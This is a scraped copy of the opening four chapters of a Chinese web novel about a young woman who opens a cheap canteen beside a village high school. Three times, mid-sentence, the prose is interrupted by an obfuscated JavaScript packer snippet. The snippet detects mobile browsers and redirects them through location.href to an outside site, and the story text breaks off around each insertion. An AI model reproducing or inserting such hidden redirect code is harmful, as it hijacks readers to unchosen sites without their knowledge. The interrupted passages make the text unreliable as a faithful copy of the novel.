《村里的三元食堂杀疯了》 1. 第 1 章 清晨，暖洋洋的日光倾斜而下。 安珀提着两大袋子菜，游刃有余在一群婶子的招呼下穿过村口。 “安珀，回来了。” “嗯。” “安珀，小栗新学校怎么样？” “没有那不长眼的欺负她，上学很开心。” 问一句答一句，安珀态度冷淡，顺便阴阳了一把上个星期骂安栗死瘸子的人。 花绵绸婶子眼珠子心虚乱瞟，双手无神掐几下豆角，底气不足回：“小孩子不懂事，安珀你理解理解。” “婶子，不懂事就关在家里不要放出来，免得闯了祸到处求人理解。又不是我孙子，理解个屁。” 安珀语调起伏不大，话却把花绵绸顶到哽咽，一时之间她想不到能骂回去的话。 一下子，村口安静不少。安珀哼起不成调的曲子，脚步轻快远离现场。没走多远，带有露水青草气息的风擦过耳际，村口死灰复燃，婶子们的叽叽喳喳一字不漏进了安珀耳朵。 “啐！”花绵绸狠狠朝地上吐口痰，“神气什么？不就是把自家车库收拾收拾，开了家快餐店，真当自己是老板了！哼，就她那学校里出来的三脚猫功夫，只够唬唬外头的人，压根骗不到村里。我心好，多算她三个月时间。三个月后，安珀的底裤保准赔光。” “唉哟，哪有你说的这么夸张。安珀手上还攥着她爹妈20万赔偿款，怎么也能多撑半年。更何况……” 挤在花绵绸边上的婶子颠颠盆里的豆角，神神秘秘给个眼神。 其余婶子了然张圆嘴，身体自发以花绵绸为圆心聚拢，几个黑乎乎的脑袋挤到一块。 “一份套餐只卖三块嘞！！！” “哈哈哈——”其他婶子还没发表评论，花绵绸率先嘲笑出声。“安珀下三滥的水平，值这个价。” “陈阿婆，我听隔壁村的人说，学校门口开餐馆能赚不少，要不要让你家老大也开一个？好好铩铩安珀的威风。” 三年前，县里几所高中地方不够用。在政府的批准下，把金秋村的隔壁村选址为新校区。房地产商见到商机，绕着学校周围一公里建起了商品房。如今，三年之期已到。几所学校的新校区建成，学生们也搬了过来。学校附近零零散散开了不少店，到处叮儿哐当，干得热火朝天，仿佛这里是县里重点开发的新区。 以上这些和金秋村没关系，无论是学校还是商品房拆迁，仅限于隔壁村。金秋村也就起个站围栏外凑热闹的作用。 唯一相关的是金秋村内自动变成学区房，孩子们多了几个学校选择。不过这些学校的花费要比原来的贵上几百，婶子们更愿意把孩子送到镇上的学校读。 于是，村子隔壁搬来学校像是鸡肋。村里的婶子们更关心落到实处的利益。 “陈阿婆，你家老大在村里干了20几年的大厨，开个快餐店肯定没问题。” “到时候忙不过来记得叫我家那个帮帮忙。” “诶，对对对，我家的手脚利落。做席的时候，陈大厨还夸过他几句。” 婶子们热络恭维，疯狂想在即将成立并火爆高中的陈记快餐占个位。 陈阿婆黑白交错的杂草头在风中轻轻摇晃，吊梢三角眼眯起，老树皮耷拉在脸颊两侧，随着好话不停往耳朵钻，乐得直嘬牙花子。 “开个店要交房租水电，划不来。我家老大在村里做出名声了，每个月有单子上门，犯不着抢些三瓜两枣。” “年轻人不懂事，以为在学校拿个优秀毕业生，就能凭厨艺赚钱了？里头的门道深着呢！何况她还把价格压到三块，用的材料怕是我家狗都不吃。” 空气中响起嘻嘻哈哈的嘲笑声，几个婶子挤眉弄眼，好似见到了安珀在各家各户跪下借钱还债的场面。 安珀踩着嘻嘻哈哈，一步一步站定在婶子们面前。 咚—— 安珀把两大袋菜扔到地上，视线慢悠悠在她们脸上梭巡。 少女头发整齐利落盘在脑后，嘴角因为早上急忙抢时间薄薄挂了点汗珠。简单的T恤配牛仔裤，T恤熨烫得干净平整，不见一丝褶皱，底下的肌肉若隐若现。 忽然，她的目光落在陈阿婆身上，露出个人畜无害的笑。 “陈奶奶，陈大厨忙着在牌桌上送大几千出去，确实看不上快餐店的三瓜两枣。” “嗷！！！败家子！” 陈阿婆梗得直直的脖子塌下，整个人弹射起步，屁股像被火烧，撒开脚丫子狂奔，几秒不到在安珀的视线范围消失得干干净净。 解决一个。 安珀左右踱步，一步两步踹在了剩余婶子的心上，让人惴惴的。 咕咚—— “啊，我早饭还没吃，回去吃饭了。” 不知是谁先开口，抱起盆脚底抹油溜了。她一走，其余婶子立马打通任督二脉，几分钟内家里多了不少事。没一会，村口散了个干净，留下花绵绸一人，仿佛刚才的热闹是个幻象。 “安……安珀，”花绵绸左右看看，空无一人，只有小石子跟着她的脚步仓惶后退。“回去我一定好好教育我家孙子。” 花绵绸承诺完，学着大部队抓把豆角溜了。 再不跑，安珀一定会找小孙子算账的。 上次自家孙子骂了安栗一句，安珀立马杀到家里，拎起自家孙子的衣领，哐哐扇了他屁股几巴掌。 当时安珀怎么说来着？ “婶子，小孩子嘴里不会无缘无故冒出一些话。你们是长辈我不好说，小孩子我总能教育教育。有些话，我听一次，扇一次。” 她回去后撩开自家孙子的衣服看，天杀的，屁股肿成个大红馒头。 凶神恶煞，怪不得克死了自家爹妈。 一向热闹的村口在安珀武力值的威胁下，提前结束早会。 不成调的曲子重新出现，安珀拎起菜，往反方向走。 她家远离村里其他楼房，是一座建在村子深处的二层自建房。以前的优点是安静，现在多了一个——离其中一个学校近，尤其是车库。 安珀索性把右边的车库改成了快餐店。 卷帘门严严实实盖住车库口子。 安珀单手拎起卷帘门，轻轻一推。卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698786|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帘门顺着轨道，咔哒咔哒往上走。 唰啦一声，新装修的小店全貌呈现在眼前。 安家小食堂——黑字泼墨行书的几个字印在白底招牌上，高高悬挂在车库门头。 店里面积不大，30平左右，墙面全部刷白，干净透光。 进门前一半的面积，安珀靠墙放了四张桌椅，中间插空摆了饮水机和消毒柜。 后面用透明围挡隔出来，做成一个集收银、出餐口、后厨一体的多功能区。 最右边的位置，留出一个1.5mX6m的过道，用来放快餐店的保温台。 过道和后门联通，往外走两步刚好到金晨一中的操场。 安珀在门口摆了个立式招牌。不过这回上面没有写上店的名字，而是在双面用最大字号印了“三元自助”。 旁边并排立了个“开业三天大酬宾，买一送一”的易拉宝。 简单明了，一眼吸睛。 如果按照常规从正门进的方式，店里的客人要穿过一条仅供两人并排走的泥巴小路。万一碰到下雨，对鞋底和裤脚是杀伤级别的灾难。尤其路面还有填大洞的砖，一踩一个大喷菇发射，从头到脚的透心凉。 安珀想想，无比感谢爹妈当初的选址。不然她这店最好别开始。 * 早上送安栗上学耽误了点时间，距离她12点出餐的时间还有3小时。 开业第一天，出餐不能晚。 安珀雷厉风行迈进后厨，把菜放到操作台，扯下架子上的口罩和围裙系好，转身扛起一口大锅，放到灶台上。 洗好的米倒进锅里，加入和锅面齐平的水，开火。 这边留着慢慢咕嘟，安珀从货架上拿下一把豆角。 昨天傍晚从地里刚摘的，嫩绿嫩绿的豆角表面微微带点小水珠。随意掰成几小段，清脆声响起，汁液四溅，草芽香涌向鼻尖。 混沌的大脑瞬间变得清明。 安珀满意点点头，自家种的就是新鲜。 咔咔几下，指节长的豆角在盆里冒尖。 安珀把豆角倒进水池泡着，又拿出一个茄子。 茄子削一段留一段皮，切成和豆角等长的段，撒点盐放一旁腌。 素菜的材料准备好了，安珀转而处理五花肉。 肉是她一大早去集市买的，到的时候猪刚宰完。 白膘粉肉、肌肉跳动，摸上去一手的油。 安珀没有选择常见的五花肉，而是要了最上面一层偏肥的五花。 肉在案板上duangduang地颤动，安珀唰唰几下将五花肉切成麻将块大小，放到一旁备用。 姜切片，大蒜拍烂切成沫。 配料弄好，干锅开大火，锅烧通红，整碗五花肉倒下去。 刺啦~白烟迅速往上冒。 安珀用锅铲把东倒西歪的肉块一个个码好，另一只手则把燃气拧到最小。 嗞啦嗞啦，五花肉在高温的环境下收缩，边缘逐渐染上焦褐色。 清亮的油脂析出，浅浅铺满一层锅底，空气中渐渐弥漫一股醇厚的香气。 2. 第 2 章 安珀慢悠悠把多余的猪油倒出来，此时肉块已经缩水三分之一，四个面添上了或多或少的焦疤，像个斑驳的麻将块。 铲子将肉块推到一边，底下蓝色火焰不停地为锅子提供热源，底油顺势流向中间。安珀就着这些油往锅里扔了几颗冰糖。 冰糖飞速融化成一滩枣红色，和猪油混合在一起，咕嘟咕嘟冒小泡。 差不多了。 五花肉推向中央，安珀抡起铲子翻炒几下，肉块表面均匀裹上糖色。 八角桂皮香叶姜片一起加入翻炒，生抽老抽蚝油也放进去。 甜香和肉香交织成一股，里头稍稍带了点辛辣，还有个不知名的霸道香气。 锅里温度越升越高，肉块带出许多自身的油脂，上一秒还泾渭分明的气味，此时竟和谐待在一起，让人忍不住吸了一口又一口。 安珀抓紧时间倒入一壶开水，没过五花肉。 定制的灶台火力很猛，没几分钟水就开了，酱色的汁在锅里咕嘟个不停。 安珀从架子上拿出一个敞口砂锅，扔到灶上烧到烫手，红烧肉一股脑倒进去。 刺啦—— 酱汁碰到砂锅底铁板一般的温度，激起一批批小泡泡。 不停地破裂，又不停地鼓起，厚重的脂香气却不停地溢出。 不大的后厨在几秒里被脂香气填满，甚至要顺着缝隙往外飘。 安珀赶紧盖上盖，把香气封在砂锅里。 双灶达成了统一咕嘟咕嘟的频率，米汤鼓涌出白色小喷泉。安珀捻起一粒米掐了掐，米粒轻而易举断裂在指尖。 完美的状态。 安珀从架子底下拖出个不锈钢桶，在顶上搭个竹制的篓子，连米带汤一起倒进去。 牛奶丝滑般的米汤倾泻而下，含着米香的雾气喷涌上升。热气罩脸，安珀舒服得毛孔都张开了。 筛出来的米放到蒸笼里继续蒸制，滤出的米汤待在桶里。轻轻推一把，原浆在里慢慢晃荡，激起一圈圈波漾，清甜的米香也一层层飘出来。 飘到鼻尖，安珀没忍住，先盛了一碗出来。 刚出锅的米汤有些烫，安珀长长吹几口气，就着碗边嗦了口。 说实话，没什么特别的味道。 米的原味全部融进汤里，入口微微烫，咂巴两下舌尖尝到了米的回甘。没等仔细想，丝滑的米汤嗖溜滑进胃里。叫嚣一早上的胃瞬间被抚慰。 碗咔哒搁在操作台，安珀满血复活。 有这些时间，茄子正好杀完水。 茄子放到水龙头下冲掉多余的盐分，安珀抓起一把茄子放在手中央用力一挤。 吱的一声，粘腻的汁液从指缝流出。 茄子瞬间缩小几倍，变成干巴巴的团子待在碗里。 先前多余的油派上了用场，茄子在里头滚一遍，炒出多余的水分，盛出来。 豆角接着倒下去。 嗤~ 火苗顿时往上涨，安珀抡起锅，手腕用力，豆角配合火舌的高度在里面转了一圈又一圈。 没几秒，豆角由嫩绿变成深色，周边泛起细密的褶皱。 配角的大蒜沫和辣椒碎放进去，茄子也加进去。 一勺生抽，少许盐。 锅抡起来翻几下，几种食材很好地混在一起。 出锅。 深绿和紫色参杂在一起，红白碎点缀在其中，一下烦闷的夏天清新了不少。 不过，让人更无法忽视的是它的香气。 炒的时候不显眼，出锅的时候却霸道占据鼻尖。 茄子豆角自带的蔬果香，经过猪油的洗礼后，奇异地让茄子豆角染上它层次丰富的油脂味。 若有若无的焦香会在某一刻突然蹦出来，彰显它的存在。 不讨厌，反而更令人期待。 安珀没忍住，拈了一根豆角扔进嘴。 “斯哈~斯哈。”安珀被突然溅出来的汁烫得五官乱飞，始终不舍得吐出来。 这边嚼嚼，换个边嚼嚼。 嘎吱嘎吱。 豆角在牙关间爆发出出人意料的韧劲。 焦香、肉香接连登场，最后豆角的本味一扫先前的油腻，像是在吃清爽版肉干。 安珀觉得，就算只有茄子豆角一个菜，她也能干三大碗饭。 趁豆角正热，安珀赶紧把菜搬到保温台，别损失了风味。 空出个灶台，安珀从柜子取出个50cm特别定制的平底锅。锅面上涂满油，剪成两半的鸡翅和切成粗条的土豆一起倒进去，铺平。 红红黄黄的组成一个圆，鸡皮在高温下急剧收缩，吐出清亮的油。土豆更是聪明，把香香的荤油吸了进去。 就这么保持原样煎了六七分钟，鸡翅和土豆的一面染上纹路，像是手挽手去做了个时髦的纹身。 安珀戳戳煎的那面，细微的嚓嚓声响在耳边。她抄起锅铲，铲了三两下，鸡翅土豆翻面完毕。 又煎了会同样的时间，焦疤添上全身，锅里飘来K老爷爷同款香气。 安珀拎起锅将鸡翅土豆倒进保温盒。 热气呼呼上冒，被从天而降的秘制辣椒粉压住。安珀把住盒子边沿，手腕用力颠几下，辣椒粉瞬间牢牢裹住鸡翅土豆，顺带把香气锁回它们内里，辣椒粉的霸道辛辣占了主场。 同一侧砂锅的咕嘟声渐渐收声。 安珀拿块抹布裹住砂锅盖，揭开。 白雾雾的水汽罩了一脸，带了一丝甜香的肉味以砂锅为圆心，向外扩散。 寡淡的汤汁在高温不断的萃取下，变得深厚浓稠，浅浅铺满砂锅底。 酱色的汁液挂满红烧肉，使肉块呈现出诱人的枣红色。 安珀关火，挑出红烧肉里的大料，侧身从抽屉拿出两个餐盒。 一人舀上一格红烧肉、茄子豆角和鸡翅土豆，再填满一格降糖米饭，标准餐准备完成。 剩下的菜端回保温台保温，白雾朦胧，用餐区弥漫起各种菜交织的香味，店里终于有几分开业的样子。 不知道谁会是店里的首位顾客。 安珀一边期待一边抱着餐盒朝后门走。 没走两步，她已经站在金晨一中的操场栏杆边。与此同时，视网膜上有个半人身高的小黑点风驰电掣冲过来。 一见她，安珀自然地把餐盒递过去。 双腿打了石膏的女孩坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698787|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在轮椅上，兴冲冲打开盖子，“哇”地发出气声，肉嘟嘟的脸颊堆起，左边酒窝若隐若现，十分喜庆。 这倒霉孩子，最近总算长了点肉。 谁能想到，三个月前安栗和爹妈一起出门，路上出了车祸。爹妈没到医院就断了气，安栗运气好点，双腿粉碎性骨折。 安珀得到消息的时候，魂都吓飞了，马不停蹄收拾东西回老家。 然后看到安栗像只刚出生的小猫蜷缩在病床，虚弱无神，只能发出些类似小猫无意义的气声。 一堆烂摊子摆在面前，安珀毕业找工作的事先放在一边，专心给安栗治病、进补。 最终把安栗补成了坚定的肉食主义。 自此，两人吃饭的模式变成分餐。无论如何要让安栗摄入点蔬菜。 “吃点菜。” 安珀几分钟没盯着，安栗整个头已经塞进餐盒。一口两块红烧肉，腮帮子鼓起老高，嘴边糊满褐色的酱汁，成了个小花猫。 红烧肉以肉眼可见的速度消失。反观茄子豆角，出锅时什么样，现在还是一个样。安栗是一口没动。 戳一下动一下，安栗腮帮子嚼嚼嚼，右手更没闲着。夹了个辣椒碎放桌上，又挑了一筷子蒜末盖到了辣椒上。 [不是我不吃，是你放了辣椒和大蒜我吃不了。] 呵，安珀嘴唇噙动，想说些什么，又咽了下去，无语塞了一大口饭。 某种程度上，安栗变成哑巴是个好事，她们姐妹间的默契提升了一大截。 现在，只要安栗一撅屁股安珀立马知道她想拉什么屎。 前些天吃小鱼仔，眼泪鼻涕一起流，也没见她嫌辣。 安珀闭嘴，盯了她几秒。 安栗抬眼瞄了一眼、两眼，慢吞吞夹块茄子，迅速咽下去。 完全没有嚼的动作。 不至于啊！难不成尝豆角的时候味觉出错了？ 眼睁睁瞧着安栗吞了一块又一块，安珀怀疑夹了块茄子。 杀过水的茄子，仅仅吸饱了自身需要的油脂，并不显油腻。 软糯可口、微微带点辣。 高温爆炒下的蒜末，去掉了刺激的气味，包裹在茄子中，融成一坨粉，一抿就化。 根本不需要嚼。 安珀一筷子菜一筷子饭，吃得快乐无比。 隔着栏杆，姐妹俩沉浸在扒饭的节奏，听不到任何交谈声，只有筷子和餐盒碰撞声。 一顿饭十几分钟吃完了。安栗擦嘴递餐盒，右手把住电动轮椅的操作杆。一个漂移，刺溜刺溜飞出几十米。 视野里又留下个小黑点，安珀太阳穴突突地跳，大喊：“慢点。” 话音落下，小黑点头顶插了个“OK”，在视线里飘啊飘。 一股无名火唰地窜出来，中午颠勺的火进她鼻子里了，安珀想。 死孩子，又飙车。 要不是安栗性格变化不大，外加医生也建议她多出去接触接触。 安珀绝对不会放一个坐轮椅和心理失声的小孩子回归校园。 含了一肚子气的安珀气冲冲回到店里。 明天，她就把安栗的轮椅换成手动的！！！ 3. 第 3 章 “这些校长的脑瓜子是怎么长的？一堆好地段不建新校区，偏偏喜欢城乡结合部这种山沟沟。图什么？空气清新？接地气？” “早知两年后有此一劫，填志愿我就该和三中锁死。怪我，当年被校外美食街的莺莺燕燕勾得丢了魂，忽视了三中食堂的正宫地位，如今只配在一中食堂吃丝瓜炖苦瓜。报应，都是报应啊！” 两个穿校服的男生经过操场，正疾步往食堂跑。 “别贫了。去晚了姜丝炒带皮土豆丝都没得吃，请你吃教师食堂的剩菜大乱炒。” “嗷！我受不了学校食堂的自由发挥。”寸头男生哀嚎，不自觉加快奔跑速度。“等会，等会吃完饭我就打电话给我爸，让他给我办走读。” “每天早起一个多小时而已，熬完最后一年我爸就解放了。” 金晨一中这学期搬到了郊区新校区，前不着村后不着店的地方。 离家一小时起步。 绝大部分学生被迫从走读变成寄宿，王肃和钱飒余是其中之一。 这下，生活方式彻底改变。 不仅吃不到从前校门口的美食摊，外卖配送费还涨了一大截。 新校区门口开了些零散的餐馆，味道中规中矩，但他俩经常在里面开出惊喜盲盒。 头发丝，苍蝇都是小场面，有次他们竟然在免费鸡汤里捞出只老鼠。 ……谁说老鼠不属鸡呢？ 食堂是唯一干净又便宜的地方。和老校区一样，水平一如既往的稳定。 不过，新校区来了位创意满分的大厨。 “你说，大厨今天研究出了什么新菜式？”钱飒余，也就是寸头男生问。 苦逼的高三牲提前开学半个月，算是见识到新校区大厨的威力。 什么豌豆炒火龙果、清炒蔬菜根，更绝的是大厨有一天把红薯皮和土豆皮炒到一起。 钱飒余发誓，长这么大从没见过搭配如此灵活的菜式。 搞得他和同学们每天都在猜大厨的艺术细胞能发挥到哪种程度。 “随便。”王肃恹恹的。“只要别废物利用边角料，我都接受。” 上次他晚点时间去吃饭，没得选只剩红薯和土豆皮双拼。 这道神菜没洗干净，吃到嘴里一股土腥味，他直接把一碗饭扔了。 下午上课的时候肚子空空，脑袋也空空，完全不知道老师在上面讲了什么。 难兄难弟对视一眼，皆看到了对方眼底的绝望。不对，好像有什么东西从他的视网膜一闪而过。 黑影唰地飘过，带过股川版K记老爷爷的香味。 钱飒余肚子适时咕嘟两声。 饿了，又是无比想念学校旁边K记的一天。 “誒，给个链接。”钱飒余招手，黑影高冷得很，留给他一个圆润的后脑勺，越来越远。 好在香味飘在上空，经久不散。钱飒余使劲嗅了嗅，掉头、横穿操场，沿着操场边缘走了几分钟。 王肃追在后面喊：“不吃了？听说今天有蔬菜沙拉。” 蔬菜沙拉是食堂的招牌菜。和大厨的厨艺没关系，进货品质正常就能吃。 闻言，钱飒余脚步顿了顿，一个箭步勾住王肃肩膀，贴在他耳边神神秘秘道：“你猜我刚刚闻到了什么？K记的味道。” 钱飒余抬手一指，正好是安珀店面的方向。 “真的？”王肃狐疑在他脸上停留几秒。这小子该不会是吃大厨的豆角中毒了，出现了幻觉？ “相信我。”钱飒余砰砰拍胸脯。“晚点去顶多吃猪潲，又不是没吃过，在乎多这一回？” “真是K记……”钱飒余指头来回点了点。“咱俩以后的饭有着落啦！” 哪怕像三分，他都能把它列为新校区top1. 王肃可耻动了心，脚步不受控制跟在钱飒余屁股后面。 一步， 两步， 三步—— 一个土到极致，大街上随处可见的大红色招牌出现在两人视线。 三元自助。 钱飒余喃喃。 三和自助完全不搭边的两个字，居然能出现在同一个招牌上？ 钱飒余咽咽唾沫，语气不安又迟疑。“我们回去？说不定还能刮刮蔬菜沙拉的边。” “别贪小便宜。” 食堂虽然不好吃，至少安全。 三块钱的自助，吃下去真会要人命。 王肃震惊踩住钱飒余的脚后跟。 兴冲冲跑过来是他，率先打退堂鼓也是他。 “宣传手段，懂？这份三块，那份三块。三块三块又三块，结账一看三百。” “指不定底下还有一行苍蝇字——解释权归商家所有。” 王肃一翻译，钱飒余心瞬间放到肚子里。 他扒着栏杆，使劲挤进缝隙，五官皱成一团，仿佛在招牌上看到了那一行专属小字。 就说嘛，哪有自助标价三块，商家又不是做慈善。 丢掉顾虑，钱飒余又恢复了乐天派的样子。两人在原地等了几分钟，不见有人出来，干脆主动出击。 “你喊？我喊？” 王肃掀开眼皮，钱飒余get，转身握住栏杆，气沉丹田大喊：“老板在吗？我要吃饭。” “老板**吃饭。” 安珀刚把餐盒洗完，忽然听到外头有些悉悉索索的动静。她关掉水龙头，甩掉手上的水珠，仔仔细细听了会，得到点碎片。 索性距离不远，安珀几步跨到后门。 光影由暗变亮。 一个寸头少年踩在夕阳里双手挥舞，又蹦又跳。另一个则穿着校服，插兜立在一旁，眼里是掩饰不住的激动。 之前碎片化的语句终于在此刻清晰。 “老板，我要吃饭。我要吃饭——” 第一位客人上门了。 安珀立马走上前介绍，一个字没吐出来，钱飒余先把姿态放低。 “老板，我们是不是来晚了？没关系，剩什么给我们上一份。不挑的。” “我们按原价给。”王肃语速极快补充，藏不住对吃饭的渴望。 经历过食堂大厨的洗礼，两人对美食的定义放得很宽。能入嘴，没有怪味就是美味。 老板在外面开店，肯定有两把刷子。至于价钱，偶尔打打牙祭，贵一点能接受。总比在食堂花钱又受罪要好。 他们预设完各种情况，心态平和接受一顿自助。 老板和客人的身份在此刻对调。 安珀沉默。关键钱飒余嘴巴机关枪一样叭叭叭，话密得她插都插/不/进/去。安珀只能将两人扫了一遍又一遍。 瞅到他们洗得发白的帆布鞋，安珀长叹口气。 熟悉的困境，她以前读书也吃不起饭。中午点个素菜就饭，晚上吃个馒头就水对付。 一双鞋洗了又洗，透出牛仔布的底色。 和她一样吃不起食堂的贫困生，来她店里碰碰运气。 “自助菜品不多，有茄子豆角、土豆鸡翅和红烧肉，米饭是脱糖的，能接受吗？”安珀补上没说出口的介绍。 听到前半段，两人脸泛绿，生理性想吐。红烧肉三个词一出，两人狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16698788|189098||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜，生理性毛病原地治愈。 王肃握拳搭在嘴边干咳，脸上泛起两坨诡异的高原红。“只有肉，没有橘子的红烧肉对吗？” 安珀困惑，放橘子是哪个地方的做法？ 她干脆不回答，跑回店里把菜给两人打满。想了想，又装了两碗米汤。 瘦成个麻秆的鬼样子，多喝点营养米汤补补吧！ 一大袋子的餐透过栏杆塞到手里。热源不断熨烫掌心，熟悉又陌生的香气不断钻入鼻尖。 钱飒余眼眶热热的，有股想哭的冲动。 关键时刻掉链子。 王肃狠狠唾弃钱飒余一把，从裤兜掏出皱成油菜的钱。“老板，多少钱？” 一块、十块的现金零零散散，一看就是存了很久。 安珀再度扫了眼他们发白的鞋，大手一挥。“开业大吉，请你们了。明后天店里继续做活动，买一送一。你们两个随时来吃，只要三块哦。” 安珀提醒完他们，回到店里忙去了。留下两个人傻在原地。 一股刺骨的凉气从脚窜到头。不知为何，双脚寒气是顶上寒气的几十倍，还有愈演愈烈的趋向。 两人不自在动了动脚。 钱飒余手里的餐顿时变成烫手山芋，拿也不是、放也不是。 他扯扯嘴角，干巴巴道：“还真是三块啊！老板是个实诚人，挺……便宜的，哈哈哈。” 王肃默不作声，机械把钱塞回裤兜。 “三块钱买不起老鼠。”钱飒余声音越来越低，不知在安慰王肃还是在安慰自己。 “老板说明天两份三块。”王肃补刀，击碎他的粉饰太平。 “那……去食堂？”钱飒余抬手瞄了眼手表。“还能捞到沙拉的几片菜叶子。” 鼻尖的肉香若隐若现，像个调皮的小妖精，诱惑地勾了一下又一下。 已经很久没有闻到这么正宗的肉味了。 “可以”两个字卡在喉咙，根本吐不出来。 王肃一把抢过塑料袋，牙关挤出句话。“回教室。” 食堂没去成，钱飒余莫名其妙回了教室。 教室和平常一个样。点外卖、去食堂、去校门口吃，大家都有各自的去处。 “瞧瞧我的晚餐？斥巨资一百的配送费，点的老校区隔壁热乎乎的烤鹅。”校服背后涂满涂鸦，单边耳挂个小众耳钉的男生炫耀。 羡慕的呼声响起，钱飒余和王肃穿过热闹的氛围，坐回位置。 两人截然不同的姿态引起涂鸦男的主意，他主动招呼。“唉，王肃、钱飒余，要来试试吗？” 老校区隔壁的烤鹅啊！在几十种卤料里浸泡一夜入味，然后在炉子里烤制成深褐色。 表皮油亮酥脆，内里入味多汁，连骨头都是带着卤汁香气，嗦一口直击灵魂。 钱飒余不受控制咽咽口水。 “不用。”王肃咬牙切齿撕开塑料袋，掀开一次性碗的盖子。 焦边豆角和软糯茄子堆在一起，红椒和金黄蒜点缀，清爽的画面就这样闯入他的眼底。 辛辣、熟蒜的香气席卷而出。味道不算霸道，却又隐隐压了烤鸭一头。 一向口味丰富的烤鸭忽然变得索然无味，涂鸦男眼珠子不受控制黏在塑料袋上。 “王肃你吃的什么？我拿烤鸭和你换。” 王肃往回拖一次性碗，抬手挡住涂鸦男的视线。整个人呈环抱姿态，把菜护在怀里。 “茄子豆角，素的，不占你便宜。” 一听豆角，涂鸦男失望收回目光。“豆角就算了，还是我的烤鸭好吃。” 4. 第 4 章 王肃三下五除二拆掉包装，饭菜全貌出现在眼前。 猛火爆炒的茄子豆角，色泽红润的红烧肉，松散无光的米饭，还有两份白色不知名的水。 王肃凑过去闻了闻，一道润鼻的清香袭来，和…… 他的视线落到米饭上。 味道相似。 王肃率先夹了几筷子茄子豆角放到饭上，猛扒几口。 豆角外皮酥脆，内里汁液丰沛。茄子肉厚软糯，咸香的生抽汁吸取得恰到好处。褪去一半的茄子皮提供了软糯之外的纤维嚼感，口味不至于单调。 看起来平平无奇，甚至是劣质的米饭，此刻却起了大作用。 松散的结构刚好存放多余的酱汁，辣椒碎和蒜沫紧紧扒在饭上。蒜味不刺鼻，中和掉辣椒大部分辣度。咬上一大口，蒜和辣达到奇异的平衡，还加了股令人欲罢不能的焦香，吃了还想吃。 王肃呆滞咀嚼，额头冒出密密麻麻的汗，鼻涕往下划出道透明的痕迹。 “嗬嗬。” “啪嗒”，钱飒余筷子掉到地上，惊恐地看着碗里的豆角。 “你没事吧？哽住了？豆角中毒了？完了，三块的盒饭吃出人命了。”钱飒余摇晃王肃的肩膀，气喘吁吁大喊：“快……快打120，王肃中毒了！” “唔唔。”王肃腮帮子疯狂地嚼。 闻声，涂鸦男扔掉烤鸭跑过来。 “先去校医院，救护车过来要点时间。”涂鸦男和钱飒余一左一右搭上他的肩膀。 这边动静不小，班里剩下的同学围过来。他们自动分配好任务，有人抓紧跑出去找老师了。 就在两人快把王肃搬到教室门口的时候，王肃咕咚几下咽完嘴里的东西，发出一声感叹。 “好想买罐老板做的蒜蓉辣酱。” 涂鸦男和钱飒余收回力，不可置信看他几眼。 王肃恍恍惚惚，“为什么我辣椒过敏！” “古老师，王肃他辣椒过敏喘不过气了。” 出去找老师的同学领着老师跑回来，刚好听到最后一句，赶忙补上王肃发病的原因。 过敏？这可不是小事！ 古老师一听，高跟鞋甩出风火轮的架势，跑到教室，拨开堵在门口的学生。 “散开、散开，别堵这，留点空气给王肃呼吸。救护车到哪了？” 教室鸦雀无声，同学们面面相觑。 最后还是王肃自己站出来，“古老师，我没事。没忍住吃了口辣椒，一会就好了。” “真的？” 王肃满脸认真，“真的。” 古老师仔仔细细给他从头扫到脚。见王肃面色如常，她松口气，不放心叮嘱：“待会去校医院检查下。” 王肃一口答应。 闹剧结束，教室里的人散了。 涂鸦男对王肃那句“蒜蓉辣酱”记忆深刻。他三步并作两步，一屁股抢占王肃前排座位，挤眉弄眼道：“真有那么好吃？” 同学两年多，王肃那点小毛病他可是一清二楚。 他……不能吃辣！ 一旦王肃吃辣，辣味就会窜到气管，让他不停地呛咳，气管如火烧般发痛。 无奈他住在一个吃辣大省，连蔬菜里都有星星点点的辣椒。 换句话说，如果不是特供，压根没有几道他能入口的菜。 这种体质，有一天竟然说来罐辣酱。 吸溜~真想试试！ “哪份？给我尝一口。”涂鸦男不见外扒拉起塑料袋。“反正你也吃不了辣，我帮你吃。” 一碗裹满辣椒粉的鸡翅出现在眼前，涂鸦男一筷子夹上几根塞嘴里，吐出去。 鸡翅变成了几根光秃秃的棍子，嘴巴仅仅起个中转站的作用。 鸡皮油润酥脆，配上生嫩多汁的鸡肉，鸡味砰地在口里爆开。辣椒粉直接将原味的鸡翅带上了另一种畅快的阶层。 “钱飒余，出血本了，点的K记的新口味。我怎么不知道K记出了新口味？”涂鸦男斯哈斯哈。 “徐度，吃你的烤鸭去。” 